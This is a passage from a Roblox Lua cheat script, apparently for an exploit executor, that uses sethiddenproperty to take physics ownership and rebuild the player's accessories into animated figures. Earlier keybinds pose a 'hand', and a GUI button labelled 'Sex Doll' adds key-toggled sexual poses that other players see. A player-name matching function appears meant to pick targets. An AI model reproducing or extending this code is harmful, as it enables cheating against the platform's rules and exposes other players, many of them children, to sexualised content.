            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(-57.51,-47.54,-138.88)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "b" then
     if toggle == false then
 
                 Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,7,1)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(0.5,9,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(1,6.35,-0.5)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(0.5,6.35,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(1,9,-0.5)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0.5,5,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(1,5,-0.5)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(0.5,7.7,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(1,7.7,-0.5)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(-1,10,1)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(180,180,90)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(90,180,90)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(90,180,90)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(90,180,90)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(90,180,90)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(90,0,0)
 
           toggle = true
 else
 
                 Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,7,1)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(0.5,9,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(1,6.35,-0.5)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(0.5,6.35,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(1,9,-0.5)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0.5,5,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(1,5,-0.5)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(0.5,7.7,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(1,7.7,-0.5)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(-1,4,1)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(180,180,90)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(90,180,90)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(90,180,90)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(90,180,90)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(90,180,90)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(90,0,0)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "h" then
     if toggle == false then
 
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(3, 5, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(0.996, 6.25, -2.165)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(0.996, 7.103, -3.894)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(2.352, 6.25, -2.165)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(2.354, 7.103, -3.894)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(3.687, 6.25, -2.165)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(3.685, 7.103, -3.894)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(4.998, 6.25, -2.165)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(5.001, 7.103, -3.894)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(0.322, 4.332, -0.369)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(-60, 0, -180)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(30, 0, -180)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(22.06, 0, 180)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(30, 0, 180)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(22.06, 0, 180)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(30, 0, 180)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(22.06, 0, 180)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(30, 0, 180)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(22.06, 0, 180)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(-2.46, 18.96, 155.99)
 
           toggle = true
 else
 
                 Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,-15,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-0,5.028,0)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-1.498,4.53,0)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-1.99,8.028,-0)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(1.981,5.045,0)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(-0.011,8.011,-0)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(-1.496, 6.533, -0)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(1.491, 8.499, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(1.49, 6.527, 0)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(0.335, 6.536, -0)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(180,180,90)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(-89.76,0,-180)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(-89.76,-0.03,-179.97)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(89.84,180,180)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(-89.82,180,-180)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "j" then
     if toggle == false then
 
               Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(-0, 4, -0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-2.078, 6.135, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-2.212, 7.623, -0)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.806, 5, -1.5)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-0.807, 4, -2)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0.666, 5, -1.5)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0.667, 4, -2)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2.046, 6.078, -0)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(2.189, 7.566, 0)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(3, 3.429, -0.278)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(-84.49, -90, 0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(-84.48, -90, 0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(0, 0, 90)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(90, 0, 0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(0, 0, 90)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(90, 0, 0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(84.48, -90, 0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(84.48, -90, 0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(13.42, -74.41, 149.27)
 
           toggle = true
 else
                 Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,4,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-2.003, 6.416, -0.098)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-2.003, 8.404, -0.242)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.376, 6.204, -0.423)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-0.376, 8.013, -1.255)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0.891, 5.872, -0.56)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0.891, 7.315, -1.926)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(1.993, 4.997, -1.325)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(1.993, 4.497, -2.07)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(1.993, 3.001, -0.992)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(-85.87, 0, 0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(-85.87, 0, 0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(-65.3, 0, 0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(-65.3, 0, 0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(-46.55, 0, 0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(-46.55, 0, 0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(0, 0, 180)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(90, 0, 0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0, 0, -180)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "u" then
     if toggle == false then
 
               Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0, -15, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-0.025, -1.098, -1.443)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-0.025, -1.098, -3.377)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.025, -1.098, -5.304)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-0.025, -1.098, -7.241)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(-0.025, -1.098, -9.129)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(-0.025, -1.098, -11.015)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(-0.025, -1.098, -12.95)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(-0.025, -1.098, -14.875)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(0, -1.381, -0.295)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0, 180, 0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
 
           toggle = true
 else
 
                 Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0, -15, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(0.945, 8.181, -0)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-0.41, 7.539, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-1.261, 6, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(1.261, 6, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(-0.8, 4, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0.8, 4, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2.14, 3.53, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(-2.14, 3.53, 0)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(-1.231, 8.362, 0)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0, 180, 0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(-45, 90, 0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(45, 90, 0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(-15, 90, 0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(15, 90, 0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(25, 90, 0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(-25, 90, 0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(45, 90, 0)
 
            toggle = false
        end
    end
end)
end)
 
SexDoll.Name = "SexDoll"
SexDoll.Parent = Scripts
SexDoll.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
SexDoll.BorderColor3 = Color3.fromRGB(27, 42, 53)
SexDoll.BorderSizePixel = 0
SexDoll.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
SexDoll.Size = UDim2.new(0, 85, 0, 32)
SexDoll.Font = Enum.Font.SourceSansItalic
SexDoll.Text = "Sex Doll"
SexDoll.TextColor3 = Color3.fromRGB(0, 0, 0)
SexDoll.TextSize = 30.000
SexDoll.TextWrapped = true
SexDoll.MouseButton1Down:connect(function()
    for i,v in pairs(game:GetService("Players").LocalPlayer.Character:GetChildren()) do
if v:IsA("Accessory") then
print(v)
end
end
 
local unanchoredparts = {}
local movers = {}
 local tog = true
 local move = false
local Player = game:GetService("Players").LocalPlayer
local Character = Player.Character
local mov = {};
local mov2 = {};
 
local Head = "EmotimaskRelax" --press f9 and find the hat that looks like a heads name and put it here
local x = -4   --Edit Position for head n +left and -Right
local y = 0.2   --Edit Position for head up and down
local z = 0 --Edit Position for head x3
 
local Hats = {rightarm = Character:WaitForChild("Hat1"),
             leftarm  = Character:WaitForChild("Pal Hair"),
             rightleg = Character:WaitForChild("LavanderHair"),
             leftleg  = Character:WaitForChild("Pink Hair"),
              torso1   = Character:WaitForChild("LongHairHeadBand Black"),
              but1   = Character:WaitForChild("InternationalFedora"),
             but2   = Character:WaitForChild("MeshPartAccessory"),
              bob1   = Character:WaitForChild("MarsPet"),
             bob2   = Character:WaitForChild("Uranus"),
 
}
 
for i,v in next, Hats do
v.Handle.AccessoryWeld:Remove()
for _,mesh in next, v:GetDescendants() do
if mesh:IsA("Mesh") or mesh:IsA("SpecialMesh") then
mesh:Remove()
end
end
end
local Network = coroutine.create(function()
while true do
game:GetService("RunService").Heartbeat:Wait()
settings().Physics.AllowSleep = false
sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
end
end)
coroutine.resume(Network)
 
function ftp(str)
    local pt = {};
    if str ~= 'me' and str ~= 'random' then
        for i, v in pairs(game.Players:GetPlayers()) do
            if v.Name:lower():find(str:lower()) then
                table.insert(pt, v);
            end
        end
    elseif str == 'me' then
        table.insert(pt, plr);
	elseif str == 'random' then
		table.insert(pt, game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]);
    end
    return pt;
end
 
local function align(i,v)
local att0 = Instance.new("Attachment", i)
att0.Position = Vector3.new(0,0,0)
local att1 = Instance.new("Attachment", v)
att1.Position = Vector3.new(0,0,0)
local AP = Instance.new("AlignPosition", i)
AP.Attachment0 = att0
AP.Attachment1 = att1
AP.RigidityEnabled = false
AP.ReactionForceEnabled = false
AP.ApplyAtCenterOfMass = true
AP.MaxForce = 9999999
AP.MaxVelocity = math.huge
AP.Responsiveness = 65
local AO = Instance.new("AlignOrientation", i)
AO.Attachment0 = att0
AO.Attachment1 = att1
AO.ReactionTorqueEnabled = true
AO.PrimaryAxisOnly = false
AO.MaxTorque = 9999999
AO.MaxAngularVelocity = math.huge
AO.Responsiveness = 50
end
align(Hats.torso1.Handle, Character["Torso"])
align(Hats.rightarm.Handle, Character["Torso"])
align(Hats.leftarm.Handle, Character["Torso"])
align(Hats.rightleg.Handle, Character["Torso"])
align(Hats.leftleg.Handle, Character["Torso"])
align(Hats.but1.Handle, Character["Torso"])
align(Hats.but2.Handle, Character["Torso"])
align(Hats.bob1.Handle, Character["Torso"])
align(Hats.bob2.Handle, Character["Torso"])
Hats.torso1.Handle.Attachment.Rotation = Vector3.new(180,90,0)
Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(90,0,10)
Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(90,0,-20)
Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,5)
Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,-5)
Hats.but1.Handle.Attachment.Rotation = Vector3.new(0,0,-5)
Hats.but2.Handle.Attachment.Rotation = Vector3.new(0,0,5)
Hats.bob1.Handle.Attachment.Rotation = Vector3.new(15,0,0)
Hats.bob2.Handle.Attachment.Rotation = Vector3.new(15,0,0)
 
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment1"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment2"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment3"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment4"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment5"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment6"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment7"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment8"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment9"
 
Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(-4,-0.1,0)
Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(-5.5,0.2,0)
Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(-2.3,0.2,0)
Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-4.6,-2,0)
Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(-3.4,-2,0)
Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-4.5,-1,0.5)
Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(-3.5,-1,0.5)
Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(-3.4,0.4,-0.5)
Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(-4.6,0.4,-0.5)
 
Character:WaitForChild(Head).Handle.AccessoryWeld:Remove()
local alignpos = Instance.new("AlignPosition", Character)
local alignorien = Instance.new("AlignOrientation", Character)
local att1 = Instance.new("Attachment", Character:WaitForChild(Head).Handle)
local att2 = Instance.new("Attachment", Character:WaitForChild("Head"))
alignpos.Attachment0 = att1
alignpos.Attachment1 = att2
alignpos.RigidityEnabled = false
alignpos.ReactionForceEnabled = false
alignpos.ApplyAtCenterOfMass = true
alignpos.MaxForce = 99999999
alignpos.MaxVelocity = math.huge
alignpos.Responsiveness = 65
alignorien.Attachment0 = att1
alignorien.Attachment1 = att2
alignorien.ReactionTorqueEnabled = true
alignorien.PrimaryAxisOnly = false
alignorien.MaxTorque = 99999999
alignorien.MaxAngularVelocity = math.huge
alignorien.Responsiveness = 50
att2.Position = Vector3.new(x,y,z)
 
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "z" then
     if toggle == false then
 
         Character.Humanoid.WalkSpeed = 16
 
         Character.Humanoid.Sit = false
 
         Character.Torso.Anchored = false
 
            Character.Humanoid.HipHeight = 0
                Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(0,4,0)
                Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(1,2,0)
                Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(-1,2,0)
                Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-1.7,5.4,0)
                Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(1.7,5.4,0)
                Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(0.55,4.8,0.5)
                Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(-0.55,4.8,0.5)
                Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(0.55,3.7,-0.5)
            Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(-0.55,3.7,-0.5)
 
		       Hats.torso1.Handle.Attachment.Rotation = Vector3.new(180,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(90,0,-20)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(90,0,20)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,120)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,-120)
                Hats.but1.Handle.Attachment.Rotation = Vector3.new(-10,0,-5)
                Hats.but2.Handle.Attachment.Rotation = Vector3.new(-10,0,5)
                Hats.bob1.Handle.Attachment.Rotation = Vector3.new(-20,0,0)
            Hats.bob2.Handle.Attachment.Rotation = Vector3.new(-20,0,0)
 
 
 
 
                att2.Position = Vector3.new(0,1.2,-0.7)
                att2.Rotation = Vector3.new(55,0,180)
           toggle = true
 else
            Character.Humanoid.HipHeight = 0
                Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(0,2.5,1)
                Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(-1.3,3.8,1)
                Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(1.3,3.8,1)
                Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-1,1.5,0.5)
                Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(1,1.5,0.5)
                Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-0.6,1.6,1.5)
                Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(0.6,1.6,1.5)
                Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(0.55,3.1,0.5)
            Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(-0.5,3.1,0.5)
 
		    Hats.torso1.Handle.Attachment.Rotation = Vector3.new(180,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(90,0,145)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(90,0,-145)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(0,-25,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(0,25,0)
                Hats.but1.Handle.Attachment.Rotation = Vector3.new(0,0,-5)
                Hats.but2.Handle.Attachment.Rotation = Vector3.new(0,0,5)
                Hats.bob1.Handle.Attachment.Rotation = Vector3.new(15,0,0)
            Hats.bob2.Handle.Attachment.Rotation = Vector3.new(15,0,0)
 
 
 
 
 
            att2.Position = Vector3.new(0,2.8,1)
            att2.Rotation = Vector3.new(0,0,0)
            toggle = false
        end
    end
end)
 
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "q" then
     if toggle == false then
 
         Character.Humanoid.WalkSpeed = 16
 
         Character.Humanoid.Sit = false
 
         Character.Torso.Anchored = false
 
            Character.Humanoid.HipHeight = 0
                Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(0,-0.2,-1.7)
                Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(-1.2,0.7,-1)
                Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(1.2,0.7,-1)
                Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-0.6,-2,-1.7)
                Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(0.6,-2,-1.7)
                Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-0.5,-1,-2.2)
                Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(0.5,-1,-2.2)
                Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(-0.6,0.3,-1.2)
            Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(0.6,0.3,-1.2)
 
            Hats.torso1.Handle.Attachment.Rotation = Vector3.new(180,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(30,10,60)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(30,-10,-60)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,5)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,-5)
                Hats.but1.Handle.Attachment.Rotation = Vector3.new(0,0,-5)
                Hats.but2.Handle.Attachment.Rotation = Vector3.new(0,0,5)
                Hats.bob1.Handle.Attachment.Rotation = Vector3.new(15,180,0)
            Hats.bob2.Handle.Attachment.Rotation = Vector3.new(15,180,0)
 
                att2.Position = Vector3.new(0,0.1,-1.7)
                att2.Rotation = Vector3.new(0,180,0)
           toggle = true
 else
            Character.Humanoid.HipHeight = 0
                Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(-4,-0.1,0)
                Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(-5.5,0.2,0)
                Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(-2.3,0.2,0)
                Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-4.6,-2,0)
                Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(-3.4,-2,0)
                Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-4.5,-1,0.5)
                Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(-3.5,-1,0.5)
                Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(-3.4,0.4,-0.5)
            Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(-4.6,0.4,-0.5)
 
            Hats.torso1.Handle.Attachment.Rotation = Vector3.new(180,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(90,0,10)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(90,0,-20)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,5)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,-5)
                Hats.but1.Handle.Attachment.Rotation = Vector3.new(0,0,-5)
                Hats.but2.Handle.Attachment.Rotation = Vector3.new(0,0,5)
                Hats.bob1.Handle.Attachment.Rotation = Vector3.new(15,0,0)
            Hats.bob2.Handle.Attachment.Rotation = Vector3.new(15,0,0)
 
 
            att2.Position = Vector3.new(x,y,z)
            att2.Rotation = Vector3.new(0,0,0)
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "x" then
     if toggle == false then
 
         Character.Humanoid.WalkSpeed = 16
 
         Character.Humanoid.Sit = false
 
         Character.Torso.Anchored = false
 
            Character.Humanoid.HipHeight = 0
                Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(0,-1.2,-2.4)
                Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(-1.15,-2,-3.45)
                Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(1.15,-2,-3.45)
                Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-1.2,-2,-1)
                Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(1.2,-2,-1)
                Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-0.54,-1,-1.4)
                Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(0.54,-1,-1.4)
                Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(-0.54,-1.9,-3.0)
            Character:WaitForChild("Torso").Attachment9.Position = Vector3.new(0.54,-1.9,-3.0)
 
            Hats.torso1.Handle.Attachment.Rotation = Vector3.new(90,0,90)
